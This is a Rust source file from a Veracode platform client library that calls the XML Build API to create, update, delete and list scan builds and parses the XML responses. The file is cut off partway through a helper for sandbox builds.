veracode_platform/
build.rs

1//! Build API functionality for Veracode platform.
2//!
3//! This module provides functionality to interact with the Veracode Build XML APIs,
4//! allowing you to create, update, delete, and query builds for applications and sandboxes.
5//! These operations use the XML API endpoints (analysiscenter.veracode.com).
6
7use chrono::{DateTime, NaiveDate, Utc};
8use log::debug;
9use quick_xml::Reader;
10use quick_xml::events::Event;
11use serde::{Deserialize, Serialize};
12use std::collections::HashMap;
13
14use crate::{VeracodeClient, VeracodeError};
15
16/// Valid lifecycle stage values for Veracode builds
17pub const LIFECYCLE_STAGES: &[&str] = &[
18    "In Development (pre-Alpha)",
19    "Internal or Alpha Testing",
20    "External or Beta Testing",
21    "Deployed",
22    "Maintenance",
23    "Cannot Disclose",
24    "Not Specified",
25];
26
27/// Validate if a lifecycle stage value is valid
28#[must_use]
29pub fn is_valid_lifecycle_stage(stage: &str) -> bool {
30    LIFECYCLE_STAGES.contains(&stage)
31}
32
33/// Get the default lifecycle stage for development builds
34#[must_use]
35pub fn default_lifecycle_stage() -> &'static str {
36    "In Development (pre-Alpha)"
37}
38
39/// Build status enumeration based on Veracode Java implementation
40/// These represent the possible build/analysis states that determine deletion safety
41#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
42pub enum BuildStatus {
43    Incomplete,
44    NotSubmitted,
45    SubmittedToEngine,
46    ScanInProcess,
47    PreScanSubmitted,
48    PreScanSuccess,
49    PreScanFailed,
50    PreScanCancelled,
51    PrescanFailed,
52    PrescanCancelled,
53    ScanCancelled,
54    ResultsReady,
55    Failed,
56    Cancelled,
57    Unknown(String), // For any status not explicitly handled
58}
59
60impl BuildStatus {
61    /// Parse a build status string from the Veracode API
62    #[must_use]
63    pub fn from_string(status: &str) -> Self {
64        match status {
65            "Incomplete" => BuildStatus::Incomplete,
66            "Not Submitted" => BuildStatus::NotSubmitted,
67            "Submitted to Engine" => BuildStatus::SubmittedToEngine,
68            "Scan in Process" => BuildStatus::ScanInProcess,
69            "Pre-Scan Submitted" => BuildStatus::PreScanSubmitted,
70            "Pre-Scan Success" => BuildStatus::PreScanSuccess,
71            "Pre-Scan Failed" => BuildStatus::PreScanFailed,
72            "Pre-Scan Cancelled" => BuildStatus::PreScanCancelled,
73            "Prescan Failed" => BuildStatus::PrescanFailed,
74            "Prescan Cancelled" => BuildStatus::PrescanCancelled,
75            "Scan Cancelled" => BuildStatus::ScanCancelled,
76            "Results Ready" => BuildStatus::ResultsReady,
77            "Failed" => BuildStatus::Failed,
78            "Cancelled" => BuildStatus::Cancelled,
79            _ => BuildStatus::Unknown(status.to_string()),
80        }
81    }
82
83    /// Convert build status to string representation
84    #[must_use]
85    pub fn to_str(&self) -> &str {
86        match self {
87            BuildStatus::Incomplete => "Incomplete",
88            BuildStatus::NotSubmitted => "Not Submitted",
89            BuildStatus::SubmittedToEngine => "Submitted to Engine",
90            BuildStatus::ScanInProcess => "Scan in Process",
91            BuildStatus::PreScanSubmitted => "Pre-Scan Submitted",
92            BuildStatus::PreScanSuccess => "Pre-Scan Success",
93            BuildStatus::PreScanFailed => "Pre-Scan Failed",
94            BuildStatus::PreScanCancelled => "Pre-Scan Cancelled",
95            BuildStatus::PrescanFailed => "Prescan Failed",
96            BuildStatus::PrescanCancelled => "Prescan Cancelled",
97            BuildStatus::ScanCancelled => "Scan Cancelled",
98            BuildStatus::ResultsReady => "Results Ready",
99            BuildStatus::Failed => "Failed",
100            BuildStatus::Cancelled => "Cancelled",
101            BuildStatus::Unknown(s) => s,
102        }
103    }
104
105    /// Determine if a build is safe to delete based on its status and deletion policy
106    ///
107    /// Deletion Policy Levels:
108    /// - 0: Never delete builds
109    /// - 1: Delete only "safe" builds (incomplete, failed, cancelled states)
110    /// - 2: Delete any build except "Results Ready"
111    #[must_use]
112    pub fn is_safe_to_delete(&self, deletion_policy: u8) -> bool {
113        match deletion_policy {
114            1 => {
115                // Delete only safe builds (incomplete, failed, cancelled states)
116                matches!(
117                    self,
118                    BuildStatus::Incomplete
119                        | BuildStatus::NotSubmitted
120                        | BuildStatus::PreScanFailed
121                        | BuildStatus::PreScanCancelled
122                        | BuildStatus::PrescanFailed
123                        | BuildStatus::PrescanCancelled
124                        | BuildStatus::ScanCancelled
125                        | BuildStatus::Failed
126                        | BuildStatus::Cancelled
127                )
128            }
129            2 => {
130                // Delete any build except Results Ready
131                !matches!(self, BuildStatus::ResultsReady)
132            }
133            _ => false, // Never delete (0) or invalid policy, default to never delete
134        }
135    }
136}
137
138impl std::fmt::Display for BuildStatus {
139    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
140        write!(f, "{}", self.to_str())
141    }
142}
143
144/// Represents a Veracode build
145#[derive(Debug, Clone, Serialize, Deserialize)]
146pub struct Build {
147    /// Build ID
148    pub build_id: String,
149    /// Application ID
150    pub app_id: String,
151    /// Build version
152    pub version: Option<String>,
153    /// Application name
154    pub app_name: Option<String>,
155    /// Sandbox ID (if sandbox build)
156    pub sandbox_id: Option<String>,
157    /// Sandbox name (if sandbox build)
158    pub sandbox_name: Option<String>,
159    /// Lifecycle stage
160    pub lifecycle_stage: Option<String>,
161    /// Launch date
162    pub launch_date: Option<NaiveDate>,
163    /// Submitter
164    pub submitter: Option<String>,
165    /// Platform
166    pub platform: Option<String>,
167    /// Analysis unit
168    pub analysis_unit: Option<String>,
169    /// Policy name
170    pub policy_name: Option<String>,
171    /// Policy version
172    pub policy_version: Option<String>,
173    /// Policy compliance status
174    pub policy_compliance_status: Option<String>,
175    /// Rules status
176    pub rules_status: Option<String>,
177    /// Grace period expired
178    pub grace_period_expired: Option<bool>,
179    /// Scan overdue
180    pub scan_overdue: Option<bool>,
181    /// Policy updated date
182    pub policy_updated_date: Option<DateTime<Utc>>,
183    /// Legacy scan engine
184    pub legacy_scan_engine: Option<bool>,
185    /// Additional attributes
186    pub attributes: HashMap<String, String>,
187}
188
189/// List of builds
190#[derive(Debug, Clone, Serialize, Deserialize)]
191pub struct BuildList {
192    /// Account ID
193    pub account_id: Option<String>,
194    /// Application ID
195    pub app_id: String,
196    /// Application name
197    pub app_name: Option<String>,
198    /// List of builds
199    pub builds: Vec<Build>,
200}
201
202/// Request for creating a build
203#[derive(Debug, Clone)]
204pub struct CreateBuildRequest {
205    /// Application ID
206    pub app_id: String,
207    /// Build version (optional, system will generate if not provided)
208    pub version: Option<String>,
209    /// Lifecycle stage
210    pub lifecycle_stage: Option<String>,
211    /// Launch date in MM/DD/YYYY format
212    pub launch_date: Option<String>,
213    /// Sandbox ID (optional, for sandbox builds)
214    pub sandbox_id: Option<String>,
215}
216
217/// Request for updating a build
218#[derive(Debug, Clone)]
219pub struct UpdateBuildRequest {
220    /// Application ID
221    pub app_id: String,
222    /// Build ID (optional, defaults to most recent)
223    pub build_id: Option<String>,
224    /// New build version
225    pub version: Option<String>,
226    /// New lifecycle stage
227    pub lifecycle_stage: Option<String>,
228    /// New launch date in MM/DD/YYYY format
229    pub launch_date: Option<String>,
230    /// Sandbox ID (optional, for sandbox builds)
231    pub sandbox_id: Option<String>,
232}
233
234/// Request for deleting a build
235#[derive(Debug, Clone)]
236pub struct DeleteBuildRequest {
237    /// Application ID
238    pub app_id: String,
239    /// Sandbox ID (optional, for sandbox builds)
240    pub sandbox_id: Option<String>,
241}
242
243/// Request for getting build information
244#[derive(Debug, Clone)]
245pub struct GetBuildInfoRequest {
246    /// Application ID
247    pub app_id: String,
248    /// Build ID (optional, defaults to most recent)
249    pub build_id: Option<String>,
250    /// Sandbox ID (optional, for sandbox builds)
251    pub sandbox_id: Option<String>,
252}
253
254/// Request for getting build list
255#[derive(Debug, Clone)]
256pub struct GetBuildListRequest {
257    /// Application ID
258    pub app_id: String,
259    /// Sandbox ID (optional, for sandbox builds only)
260    pub sandbox_id: Option<String>,
261}
262
263/// Result of build deletion
264#[derive(Debug, Clone, Serialize, Deserialize)]
265pub struct DeleteBuildResult {
266    /// Result status (typically "success")
267    pub result: String,
268}
269
270/// Build specific error types
271#[derive(Debug)]
272#[must_use = "Need to handle all error enum types."]
273pub enum BuildError {
274    /// Veracode API error
275    Api(VeracodeError),
276    /// Build not found
277    BuildNotFound,
278    /// Application not found
279    ApplicationNotFound,
280    /// Sandbox not found
281    SandboxNotFound,
282    /// Invalid parameter
283    InvalidParameter(String),
284    /// Build creation failed
285    CreationFailed(String),
286    /// Build update failed
287    UpdateFailed(String),
288    /// Build deletion failed
289    DeletionFailed(String),
290    /// XML parsing error
291    XmlParsingError(String),
292    /// Unauthorized access
293    Unauthorized,
294    /// Permission denied
295    PermissionDenied,
296    /// Build in progress (cannot modify)
297    BuildInProgress,
298}
299
300impl std::fmt::Display for BuildError {
301    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
302        match self {
303            BuildError::Api(err) => write!(f, "API error: {err}"),
304            BuildError::BuildNotFound => write!(f, "Build not found"),
305            BuildError::ApplicationNotFound => write!(f, "Application not found"),
306            BuildError::SandboxNotFound => write!(f, "Sandbox not found"),
307            BuildError::InvalidParameter(msg) => write!(f, "Invalid parameter: {msg}"),
308            BuildError::CreationFailed(msg) => write!(f, "Build creation failed: {msg}"),
309            BuildError::UpdateFailed(msg) => write!(f, "Build update failed: {msg}"),
310            BuildError::DeletionFailed(msg) => write!(f, "Build deletion failed: {msg}"),
311            BuildError::XmlParsingError(msg) => write!(f, "XML parsing error: {msg}"),
312            BuildError::Unauthorized => write!(f, "Unauthorized access"),
313            BuildError::PermissionDenied => write!(f, "Permission denied"),
314            BuildError::BuildInProgress => write!(f, "Build in progress, cannot modify"),
315        }
316    }
317}
318
319impl std::error::Error for BuildError {}
320
321impl From<VeracodeError> for BuildError {
322    fn from(err: VeracodeError) -> Self {
323        BuildError::Api(err)
324    }
325}
326
327impl From<std::io::Error> for BuildError {
328    fn from(err: std::io::Error) -> Self {
329        BuildError::Api(VeracodeError::InvalidResponse(err.to_string()))
330    }
331}
332
333impl From<reqwest::Error> for BuildError {
334    fn from(err: reqwest::Error) -> Self {
335        BuildError::Api(VeracodeError::Http(err))
336    }
337}
338
339/// Build API operations for Veracode platform
340pub struct BuildApi {
341    client: VeracodeClient,
342}
343
344impl BuildApi {
345    /// Create a new `BuildApi` instance
346    #[must_use]
347    pub fn new(client: VeracodeClient) -> Self {
348        Self { client }
349    }
350
351    /// Create a new build
352    ///
353    /// # Arguments
354    ///
355    /// * `request` - The create build request
356    ///
357    /// # Returns
358    ///
359    /// A `Result` containing the created build information or an error.
360    ///
361    /// # Errors
362    ///
363    /// Returns an error if the API request fails, the application is not found,
364    /// authentication fails, or the build creation is rejected by the Veracode platform.
365    pub async fn create_build(&self, request: &CreateBuildRequest) -> Result<Build, BuildError> {
366        let endpoint = "/api/5.0/createbuild.do";
367
368        // Build query parameters
369        let mut query_params = Vec::new();
370        query_params.push(("app_id", request.app_id.as_str()));
371
372        if let Some(version) = &request.version {
373            query_params.push(("version", version.as_str()));
374        }
375
376        if let Some(lifecycle_stage) = &request.lifecycle_stage {
377            query_params.push(("lifecycle_stage", lifecycle_stage.as_str()));
378        }
379
380        if let Some(launch_date) = &request.launch_date {
381            query_params.push(("launch_date", launch_date.as_str()));
382        }
383
384        if let Some(sandbox_id) = &request.sandbox_id {
385            query_params.push(("sandbox_id", sandbox_id.as_str()));
386        }
387
388        let response = self
389            .client
390            .post_with_query_params(endpoint, &query_params)
391            .await?;
392
393        let status = response.status().as_u16();
394        match status {
395            200 => {
396                let response_text = response.text().await?;
397                self.parse_build_info(&response_text)
398            }
399            400 => {
400                let error_text = response.text().await.unwrap_or_default();
401                Err(BuildError::InvalidParameter(error_text))
402            }
403            401 => Err(BuildError::Unauthorized),
404            403 => Err(BuildError::PermissionDenied),
405            404 => Err(BuildError::ApplicationNotFound),
406            _ => {
407                let error_text = response.text().await.unwrap_or_default();
408                Err(BuildError::CreationFailed(format!(
409                    "HTTP {status}: {error_text}"
410                )))
411            }
412        }
413    }
414
415    /// Update an existing build
416    ///
417    /// # Arguments
418    ///
419    /// * `request` - The update build request
420    ///
421    /// # Returns
422    ///
423    /// A `Result` containing the updated build information or an error.
424    ///
425    /// # Errors
426    ///
427    /// Returns an error if the API request fails, authentication fails,
428    /// or the operation is rejected by the Veracode platform.
429    pub async fn update_build(&self, request: &UpdateBuildRequest) -> Result<Build, BuildError> {
430        let endpoint = "/api/5.0/updatebuild.do";
431
432        // Build query parameters
433        let mut query_params = Vec::new();
434        query_params.push(("app_id", request.app_id.as_str()));
435
436        if let Some(build_id) = &request.build_id {
437            query_params.push(("build_id", build_id.as_str()));
438        }
439
440        if let Some(version) = &request.version {
441            query_params.push(("version", version.as_str()));
442        }
443
444        if let Some(lifecycle_stage) = &request.lifecycle_stage {
445            query_params.push(("lifecycle_stage", lifecycle_stage.as_str()));
446        }
447
448        if let Some(launch_date) = &request.launch_date {
449            query_params.push(("launch_date", launch_date.as_str()));
450        }
451
452        if let Some(sandbox_id) = &request.sandbox_id {
453            query_params.push(("sandbox_id", sandbox_id.as_str()));
454        }
455
456        let response = self
457            .client
458            .post_with_query_params(endpoint, &query_params)
459            .await?;
460
461        let status = response.status().as_u16();
462        match status {
463            200 => {
464                let response_text = response.text().await?;
465                self.parse_build_info(&response_text)
466            }
467            400 => {
468                let error_text = response.text().await.unwrap_or_default();
469                Err(BuildError::InvalidParameter(error_text))
470            }
471            401 => Err(BuildError::Unauthorized),
472            403 => Err(BuildError::PermissionDenied),
473            404 => {
474                if request.sandbox_id.is_some() {
475                    Err(BuildError::SandboxNotFound)
476                } else {
477                    Err(BuildError::BuildNotFound)
478                }
479            }
480            _ => {
481                let error_text = response.text().await.unwrap_or_default();
482                Err(BuildError::UpdateFailed(format!(
483                    "HTTP {status}: {error_text}"
484                )))
485            }
486        }
487    }
488
489    /// Delete a build
490    ///
491    /// # Arguments
492    ///
493    /// * `request` - The delete build request
494    ///
495    /// # Returns
496    ///
497    /// A `Result` containing the deletion result or an error.
498    ///
499    /// # Errors
500    ///
501    /// Returns an error if the API request fails, authentication fails,
502    /// or the operation is rejected by the Veracode platform.
503    pub async fn delete_build(
504        &self,
505        request: &DeleteBuildRequest,
506    ) -> Result<DeleteBuildResult, BuildError> {
507        let endpoint = "/api/5.0/deletebuild.do";
508
509        // Build query parameters
510        let mut query_params = Vec::new();
511        query_params.push(("app_id", request.app_id.as_str()));
512
513        if let Some(sandbox_id) = &request.sandbox_id {
514            query_params.push(("sandbox_id", sandbox_id.as_str()));
515        }
516
517        let response = self
518            .client
519            .post_with_query_params(endpoint, &query_params)
520            .await?;
521
522        let status = response.status().as_u16();
523        match status {
524            200 => {
525                let response_text = response.text().await?;
526                self.parse_delete_result(&response_text)
527            }
528            400 => {
529                let error_text = response.text().await.unwrap_or_default();
530                Err(BuildError::InvalidParameter(error_text))
531            }
532            401 => Err(BuildError::Unauthorized),
533            403 => Err(BuildError::PermissionDenied),
534            404 => {
535                if request.sandbox_id.is_some() {
536                    Err(BuildError::SandboxNotFound)
537                } else {
538                    Err(BuildError::BuildNotFound)
539                }
540            }
541            _ => {
542                let error_text = response.text().await.unwrap_or_default();
543                Err(BuildError::DeletionFailed(format!(
544                    "HTTP {status}: {error_text}"
545                )))
546            }
547        }
548    }
549
550    /// Get build information
551    ///
552    /// # Arguments
553    ///
554    /// * `request` - The get build info request
555    ///
556    /// # Returns
557    ///
558    /// A `Result` containing the build information or an error.
559    ///
560    /// # Errors
561    ///
562    /// Returns an error if the API request fails, authentication fails,
563    /// or the operation is rejected by the Veracode platform.
564    pub async fn get_build_info(&self, request: &GetBuildInfoRequest) -> Result<Build, BuildError> {
565        let endpoint = "/api/5.0/getbuildinfo.do";
566
567        // Build query parameters
568        let mut query_params = Vec::new();
569        query_params.push(("app_id", request.app_id.as_str()));
570
571        if let Some(build_id) = &request.build_id {
572            query_params.push(("build_id", build_id.as_str()));
573        }
574
575        if let Some(sandbox_id) = &request.sandbox_id {
576            query_params.push(("sandbox_id", sandbox_id.as_str()));
577        }
578
579        let response = self
580            .client
581            .get_with_query_params(endpoint, &query_params)
582            .await?;
583
584        let status = response.status().as_u16();
585        match status {
586            200 => {
587                let response_text = response.text().await?;
588                debug!("🌐 Raw XML response from getbuildinfo.do:\n{response_text}");
589                self.parse_build_info(&response_text)
590            }
591            400 => {
592                let error_text = response.text().await.unwrap_or_default();
593                Err(BuildError::InvalidParameter(error_text))
594            }
595            401 => Err(BuildError::Unauthorized),
596            403 => Err(BuildError::PermissionDenied),
597            404 => {
598                if request.sandbox_id.is_some() {
599                    Err(BuildError::SandboxNotFound)
600                } else {
601                    Err(BuildError::BuildNotFound)
602                }
603            }
604            _ => {
605                let error_text = response.text().await.unwrap_or_default();
606                Err(BuildError::Api(VeracodeError::InvalidResponse(format!(
607                    "HTTP {status}: {error_text}"
608                ))))
609            }
610        }
611    }
612
613    /// Get list of builds
614    ///
615    /// # Arguments
616    ///
617    /// * `request` - The get build list request
618    ///
619    /// # Returns
620    ///
621    /// A `Result` containing the build list or an error.
622    ///
623    /// # Errors
624    ///
625    /// Returns an error if the API request fails, authentication fails,
626    /// or the operation is rejected by the Veracode platform.
627    pub async fn get_build_list(
628        &self,
629        request: &GetBuildListRequest,
630    ) -> Result<BuildList, BuildError> {
631        let endpoint = "/api/5.0/getbuildlist.do";
632
633        // Build query parameters
634        let mut query_params = Vec::new();
635        query_params.push(("app_id", request.app_id.as_str()));
636
637        if let Some(sandbox_id) = &request.sandbox_id {
638            query_params.push(("sandbox_id", sandbox_id.as_str()));
639        }
640
641        let response = self
642            .client
643            .get_with_query_params(endpoint, &query_params)
644            .await?;
645
646        let status = response.status().as_u16();
647        match status {
648            200 => {
649                let response_text = response.text().await?;
650                self.parse_build_list(&response_text)
651            }
652            400 => {
653                let error_text = response.text().await.unwrap_or_default();
654                Err(BuildError::InvalidParameter(error_text))
655            }
656            401 => Err(BuildError::Unauthorized),
657            403 => Err(BuildError::PermissionDenied),
658            404 => {
659                if request.sandbox_id.is_some() {
660                    Err(BuildError::SandboxNotFound)
661                } else {
662                    Err(BuildError::ApplicationNotFound)
663                }
664            }
665            _ => {
666                let error_text = response.text().await.unwrap_or_default();
667                Err(BuildError::Api(VeracodeError::InvalidResponse(format!(
668                    "HTTP {status}: {error_text}"
669                ))))
670            }
671        }
672    }
673
674    /// Parse build info XML response
675    fn parse_build_info(&self, xml: &str) -> Result<Build, BuildError> {
676        // Check if response contains an error element first
677        if xml.contains("<error>") {
678            let mut reader = Reader::from_str(xml);
679            reader.config_mut().trim_text(true);
680            let mut buf = Vec::new();
681
682            loop {
683                match reader.read_event_into(&mut buf) {
684                    Ok(Event::Start(ref e)) if e.name().as_ref() == b"error" => {
685                        if let Ok(Event::Text(text)) = reader.read_event_into(&mut buf) {
686                            let error_msg = String::from_utf8_lossy(&text);
687                            if error_msg.contains("Could not find a build") {
688                                return Err(BuildError::BuildNotFound);
689                            }
690                            return Err(BuildError::Api(VeracodeError::InvalidResponse(
691                                error_msg.to_string(),
692                            )));
693                        }
694                    }
695                    Ok(Event::Eof) => break,
696                    Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
697                    _ => {}
698                }
699                buf.clear();
700            }
701        }
702
703        let mut reader = Reader::from_str(xml);
704        reader.config_mut().trim_text(true);
705
706        let mut buf = Vec::new();
707        let mut build = Build {
708            build_id: String::new(),
709            app_id: String::new(),
710            version: None,
711            app_name: None,
712            sandbox_id: None,
713            sandbox_name: None,
714            lifecycle_stage: None,
715            launch_date: None,
716            submitter: None,
717            platform: None,
718            analysis_unit: None,
719            policy_name: None,
720            policy_version: None,
721            policy_compliance_status: None,
722            rules_status: None,
723            grace_period_expired: None,
724            scan_overdue: None,
725            policy_updated_date: None,
726            legacy_scan_engine: None,
727            attributes: HashMap::new(),
728        };
729
730        let mut inside_build = false;
731
732        loop {
733            match reader.read_event_into(&mut buf) {
734                Ok(Event::Start(ref e)) => {
735                    match e.name().as_ref() {
736                        b"build" => {
737                            inside_build = true;
738                            for attr in e.attributes().flatten() {
739                                let key = String::from_utf8_lossy(attr.key.as_ref());
740                                let value = String::from_utf8_lossy(&attr.value);
741
742                                match key.as_ref() {
743                                    "build_id" => build.build_id = value.into_owned(),
744                                    "app_id" => build.app_id = value.into_owned(),
745                                    "version" => build.version = Some(value.into_owned()),
746                                    "app_name" => build.app_name = Some(value.into_owned()),
747                                    "sandbox_id" => build.sandbox_id = Some(value.into_owned()),
748                                    "sandbox_name" => build.sandbox_name = Some(value.into_owned()),
749                                    "lifecycle_stage" => {
750                                        build.lifecycle_stage = Some(value.into_owned())
751                                    }
752                                    "submitter" => build.submitter = Some(value.into_owned()),
753                                    "platform" => build.platform = Some(value.into_owned()),
754                                    "analysis_unit" => {
755                                        build.analysis_unit = Some(value.into_owned())
756                                    }
757                                    "policy_name" => build.policy_name = Some(value.into_owned()),
758                                    "policy_version" => {
759                                        build.policy_version = Some(value.into_owned())
760                                    }
761                                    "policy_compliance_status" => {
762                                        build.policy_compliance_status = Some(value.into_owned())
763                                    }
764                                    "rules_status" => build.rules_status = Some(value.into_owned()),
765                                    "grace_period_expired" => {
766                                        build.grace_period_expired = value.parse::<bool>().ok();
767                                    }
768                                    "scan_overdue" => {
769                                        build.scan_overdue = value.parse::<bool>().ok();
770                                    }
771                                    "legacy_scan_engine" => {
772                                        build.legacy_scan_engine = value.parse::<bool>().ok();
773                                    }
774                                    "launch_date" => {
775                                        if let Ok(date) =
776                                            NaiveDate::parse_from_str(&value, "%m/%d/%Y")
777                                        {
778                                            build.launch_date = Some(date);
779                                        }
780                                    }
781                                    "policy_updated_date" => {
782                                        if let Ok(datetime) =
783                                            chrono::DateTime::parse_from_rfc3339(&value)
784                                        {
785                                            build.policy_updated_date =
786                                                Some(datetime.with_timezone(&Utc));
787                                        }
788                                    }
789                                    _ => {
790                                        build
791                                            .attributes
792                                            .insert(key.into_owned(), value.into_owned());
793                                    }
794                                }
795                            }
796                        }
797                        b"analysis_unit" if inside_build => {
798                            // Parse analysis_unit element nested inside build (primary source for build status)
799                            for attr in e.attributes().flatten() {
800                                let key = String::from_utf8_lossy(attr.key.as_ref());
801                                let value = String::from_utf8_lossy(&attr.value);
802
803                                // Store all analysis_unit attributes, especially status
804                                match key.as_ref() {
805                                    "status" => {
806                                        // Store the analysis_unit status as the primary status
807                                        build
808                                            .attributes
809                                            .insert("status".to_string(), value.into_owned());
810                                    }
811                                    _ => {
812                                        // Store other analysis_unit attributes with prefix
813                                        build
814                                            .attributes
815                                            .insert(format!("analysis_{key}"), value.into_owned());
816                                    }
817                                }
818                            }
819                        }
820                        _ => {}
821                    }
822                }
823                Ok(Event::Empty(ref e)) => {
824                    // Handle self-closing elements like <analysis_unit ... />
825                    if e.name().as_ref() == b"analysis_unit" && inside_build {
826                        for attr in e.attributes().flatten() {
827                            let key = String::from_utf8_lossy(attr.key.as_ref());
828                            let value = String::from_utf8_lossy(&attr.value);
829
830                            match key.as_ref() {
831                                "status" => {
832                                    build
833                                        .attributes
834                                        .insert("status".to_string(), value.into_owned());
835                                }
836                                _ => {
837                                    build
838                                        .attributes
839                                        .insert(format!("analysis_{key}"), value.into_owned());
840                                }
841                            }
842                        }
843                    }
844                }
845                Ok(Event::End(ref e)) => {
846                    if e.name().as_ref() == b"build" {
847                        inside_build = false;
848                    }
849                }
850                Ok(Event::Eof) => break,
851                Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
852                _ => {}
853            }
854            buf.clear();
855        }
856
857        if build.build_id.is_empty() {
858            return Err(BuildError::XmlParsingError(
859                "No build information found in response".to_string(),
860            ));
861        }
862
863        Ok(build)
864    }
865
866    /// Parse build attributes from XML element (handles both opening and self-closing tags)
867    fn parse_build_from_attributes<'a>(
868        &self,
869        attributes: impl Iterator<
870            Item = Result<
871                quick_xml::events::attributes::Attribute<'a>,
872                quick_xml::events::attributes::AttrError,
873            >,
874        >,
875        app_id: &str,
876        app_name: &Option<String>,
877    ) -> Build {
878        let mut build = Build {
879            build_id: String::new(),
880            app_id: app_id.to_string(),
881            version: None,
882            app_name: app_name.clone(),
883            sandbox_id: None,
884            sandbox_name: None,
885            lifecycle_stage: None,
886            launch_date: None,
887            submitter: None,
888            platform: None,
889            analysis_unit: None,
890            policy_name: None,
891            policy_version: None,
892            policy_compliance_status: None,
893            rules_status: None,
894            grace_period_expired: None,
895            scan_overdue: None,
896            policy_updated_date: None,
897            legacy_scan_engine: None,
898            attributes: HashMap::new(),
899        };
900
901        for attr in attributes.flatten() {
902            let key = String::from_utf8_lossy(attr.key.as_ref());
903            let value = String::from_utf8_lossy(&attr.value);
904
905            match key.as_ref() {
906                "build_id" => build.build_id = value.into_owned(),
907                "version" => build.version = Some(value.into_owned()),
908                "sandbox_id" => build.sandbox_id = Some(value.into_owned()),
909                "sandbox_name" => build.sandbox_name = Some(value.into_owned()),
910                "lifecycle_stage" => build.lifecycle_stage = Some(value.into_owned()),
911                "submitter" => build.submitter = Some(value.into_owned()),
912                "platform" => build.platform = Some(value.into_owned()),
913                "analysis_unit" => build.analysis_unit = Some(value.into_owned()),
914                "policy_name" => build.policy_name = Some(value.into_owned()),
915                "policy_version" => build.policy_version = Some(value.into_owned()),
916                "policy_compliance_status" => {
917                    build.policy_compliance_status = Some(value.into_owned())
918                }
919                "rules_status" => build.rules_status = Some(value.into_owned()),
920                "grace_period_expired" => {
921                    build.grace_period_expired = value.parse::<bool>().ok();
922                }
923                "scan_overdue" => {
924                    build.scan_overdue = value.parse::<bool>().ok();
925                }
926                "legacy_scan_engine" => {
927                    build.legacy_scan_engine = value.parse::<bool>().ok();
928                }
929                "launch_date" => {
930                    if let Ok(date) = NaiveDate::parse_from_str(&value, "%m/%d/%Y") {
931                        build.launch_date = Some(date);
932                    }
933                }
934                "policy_updated_date" => {
935                    if let Ok(datetime) = chrono::DateTime::parse_from_rfc3339(&value) {
936                        build.policy_updated_date = Some(datetime.with_timezone(&Utc));
937                    }
938                }
939                _ => {
940                    build
941                        .attributes
942                        .insert(key.into_owned(), value.into_owned());
943                }
944            }
945        }
946
947        build
948    }
949
950    /// Parse build list XML response
951    fn parse_build_list(&self, xml: &str) -> Result<BuildList, BuildError> {
952        let mut reader = Reader::from_str(xml);
953        reader.config_mut().trim_text(true);
954
955        let mut buf = Vec::new();
956        let mut build_list = BuildList {
957            account_id: None,
958            app_id: String::new(),
959            app_name: None,
960            builds: Vec::new(),
961        };
962
963        loop {
964            match reader.read_event_into(&mut buf) {
965                Ok(Event::Start(ref e)) => match e.name().as_ref() {
966                    b"buildlist" => {
967                        for attr in e.attributes().flatten() {
968                            let key = String::from_utf8_lossy(attr.key.as_ref());
969                            let value = String::from_utf8_lossy(&attr.value);
970
971                            match key.as_ref() {
972                                "account_id" => build_list.account_id = Some(value.into_owned()),
973                                "app_id" => build_list.app_id = value.into_owned(),
974                                "app_name" => build_list.app_name = Some(value.into_owned()),
975                                _ => {}
976                            }
977                        }
978                    }
979                    b"build" => {
980                        let build = self.parse_build_from_attributes(
981                            e.attributes(),
982                            &build_list.app_id,
983                            &build_list.app_name,
984                        );
985
986                        if !build.build_id.is_empty() {
987                            build_list.builds.push(build);
988                        }
989                    }
990                    _ => {}
991                },
992                Ok(Event::Empty(ref e)) => {
993                    // Handle self-closing build tags like <build ... />
994                    if e.name().as_ref() == b"build" {
995                        let build = self.parse_build_from_attributes(
996                            e.attributes(),
997                            &build_list.app_id,
998                            &build_list.app_name,
999                        );
1000
1001                        if !build.build_id.is_empty() {
1002                            build_list.builds.push(build);
1003                        }
1004                    }
1005                }
1006                Ok(Event::Eof) => break,
1007                Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
1008                _ => {}
1009            }
1010            buf.clear();
1011        }
1012
1013        Ok(build_list)
1014    }
1015
1016    /// Parse delete build result XML response
1017    fn parse_delete_result(&self, xml: &str) -> Result<DeleteBuildResult, BuildError> {
1018        let mut reader = Reader::from_str(xml);
1019        reader.config_mut().trim_text(true);
1020
1021        let mut buf = Vec::new();
1022        let mut result = String::new();
1023
1024        loop {
1025            match reader.read_event_into(&mut buf) {
1026                Ok(Event::Start(ref e)) => {
1027                    if e.name().as_ref() == b"result" {
1028                        // Read the text content of the result element
1029                        if let Ok(Event::Text(e)) = reader.read_event_into(&mut buf) {
1030                            result = String::from_utf8_lossy(&e).into_owned();
1031                        }
1032                    }
1033                }
1034                Ok(Event::Eof) => break,
1035                Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
1036                _ => {}
1037            }
1038            buf.clear();
1039        }
1040
1041        if result.is_empty() {
1042            return Err(BuildError::XmlParsingError(
1043                "No result found in delete response".to_string(),
1044            ));
1045        }
1046
1047        Ok(DeleteBuildResult { result })
1048    }
1049}
1050
1051// Convenience methods implementation
1052impl BuildApi {
1053    /// Create a build with minimal parameters
1054    ///
1055    /// # Arguments
1056    ///
1057    /// * `app_id` - Application ID
1058    /// * `version` - Optional build version
1059    ///
1060    /// # Returns
1061    ///
1062    /// A `Result` containing the created build information or an error.
1063    ///
1064    /// # Errors
1065    ///
1066    /// Returns an error if the API request fails, authentication fails,
1067    /// or the operation is rejected by the Veracode platform.
1068    pub async fn create_simple_build(
1069        &self,
1070        app_id: &str,
1071        version: Option<&str>,
1072    ) -> Result<Build, BuildError> {
1073        let request = CreateBuildRequest {
1074            app_id: app_id.to_string(),
1075            version: version.map(str::to_string),
1076            lifecycle_stage: None,
1077            launch_date: None,
1078            sandbox_id: None,
1079        };
1080
1081        self.create_build(&request).await
1082    }
1083
1084    /// Create a sandbox build
1085    ///
1086    /// # Arguments
1087    ///
1088    /// * `app_id` - Application ID
1089    /// * `sandbox_id` - Sandbox ID
1090    /// * `version` - Optional build version
1091    ///
1092    /// # Returns
1093    ///
1094    /// A `Result` containing the created build information or an error.
